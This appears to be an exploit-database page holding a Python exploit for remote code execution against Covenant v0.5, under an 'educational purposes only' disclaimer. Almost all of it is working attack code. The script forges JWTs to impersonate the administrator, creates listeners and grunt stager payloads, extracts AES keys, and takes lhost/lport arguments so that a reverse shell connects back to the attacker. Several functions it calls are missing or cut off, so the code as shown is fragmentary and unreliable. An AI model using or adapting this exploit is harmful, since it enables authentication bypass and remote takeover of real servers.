Exploits / Vulnerability Discovered : 2023-03-30 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Covenant v0.5 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!
import jwt # pip3 install PyJWT
import json
import warnings
import base64
import re
import random
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from Crypto.Hash import HMAC, SHA256 # pip3 install pycryptodome
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from requests import request # pip3 install requests
from subprocess import run
from pwn import remote, context # pip3 install pwntools
from os import remove, urandom
from shutil import which
from urllib.parse import urlparse
from pathlib import Path
from time import time
def check_requirements():
if which("mcs") is None:
print("Please install the mono framework in order to compile the payload.")
print("https://www.mono-project.com/download/stable/")
exit(-1)
def random_hex(length):
alphabet = "0123456789abcdef"
return ''.join(random.choice(alphabet) for _ in range(length))
def get_id_admin(token, json_roles):
id_admin = ""
for role in json_roles:
if role["name"] == "Administrator":
id_admin = role["id"]
print(f"\t[*] Found the admin group id : {id_admin}")
break
else:
print("\t[!] Did not found admin group id, quitting !")
exit(-1)
id_admin_user = ""
json_users_roles = request_api("get", token, f"users/roles").json()
for user_role in json_users_roles:
if user_role["roleId"] == id_admin:
id_admin_user = user_role["userId"]
print(f"\t[*] Found the admin user id : {id_admin_user}")
break
else:
print("\t[!] Did not found admin id, quitting !")
exit(-1)
json_users = request_api("get", token, f"users").json()
for user in json_users:
if user["id"] == id_admin_user:
username_admin = user["userName"]
print(f"\t[*] Found the admin username : {username_admin}")
return username_admin, id_admin_user
else:
print("\t[!] Did not found admin username, quitting !")
exit(-1)
if not response.ok:
print("\t[!] Failed to create the listener profile, quitting !")
exit(-1)
else:
profile_id = response.json().get('id')
print(f"\t[*] Profile created with id {profile_id}")
print("\t[*] Successfully created the listener profile")
return profile_id
def generate_valid_listener_port(impersonate_token, tries=0):
if tries >= 10:
print("\t[!] Tried 10 times to generate a listener port but failed, quitting !")
exit(-1)
port = random.randint(8000, 8250) # TO BE EDITED WITH YOUR TARGET LISTENER PORT
listeners = request_api("get", impersonate_token, "listeners").json()
port_used = []
for listener in listeners:
port_used.append(listener["bindPort"])
if port in port_used:
print(f"\t[!] Port {port} is already taken by another listener, retrying !")
generate_valid_listener_port(impersonate_token, tries + 1)
else:
print(f"\t[*] Port {port} seems free")
return port
def get_id_listener_type(impersonate_token, listener_name):
response = request_api("get", impersonate_token, "listeners/types")
if not response.ok:
print("\t[!] Failed to get the listener type, quitting !")
exit(-1)
else:
for listener_type in response.json():
if listener_type["name"] == listener_name:
print(f'\t[*] Found id {listener_type["id"]} for listener {listener_name}')
return listener_type["id"]
if not response.ok:
print("\t[!] Failed to create the listener, quitting !")
exit(-1)
else:
print("\t[*] Successfully created the listener")
listener_id = response.json().get("id")
return listener_id, listener_port
def create_grunt(impersonate_token, data):
stager_code = request_api("put", impersonate_token, "launchers/binary", data).json()["stagerCode"]
if stager_code == "":
stager_code = request_api("post", impersonate_token, "launchers/binary", data).json()["stagerCode"]
if stager_code == "":
print("\t[!] Failed to create the grunt payload, quitting !")
exit(-1)
print("\t[*] Successfully created the grunt payload")
return stager_code
stager_code = create_grunt(impersonate_token, data)
aes_key = re.search(r'FromBase64String\(@\"(.[A-Za-z0-9+\/=]{40,50}?)\"\);', stager_code)
guid_prefix = re.search(r'aGUID = @"(.{10}[0-9a-f]?)";', stager_code)
if not aes_key or not guid_prefix:
print("\t[!] Failed to retrieve the grunt configuration, quitting !")
exit(-1)
aes_key = aes_key.group(1)
guid_prefix = guid_prefix.group(1)
print(f"\t[*] Found the grunt configuration {[aes_key, guid_prefix]}")
return aes_key, guid_prefix
if "HTTP/1.1 200 OK" in response:
return True
else:
return False
if __name__ == "__main__":
check_requirements()
parser = argparse.ArgumentParser()
parser.add_argument("target",
help="URL where the Covenant is hosted, example : https://127.0.0.1:7443")
parser.add_argument("os",
help="Operating System of the target",
choices=["windows", "linux"])
parser.add_argument("lhost",
help="IP of the machine that will receive the reverse shell")
parser.add_argument("lport",
help="Port of the machine that will receive the reverse shell")
args = parser.parse_args()
IP_TARGET = urlparse(args.target).hostname
print("[*] Getting the admin info")
sacrificial_token = craft_jwt("xThaz")
roles = request_api("get", sacrificial_token, "roles").json()
admin_username, admin_id = get_id_admin(sacrificial_token, roles)
impersonate_token = craft_jwt(admin_username, admin_id)
print(f"\t[*] Impersonated {[admin_username]} with the id {[admin_id]}")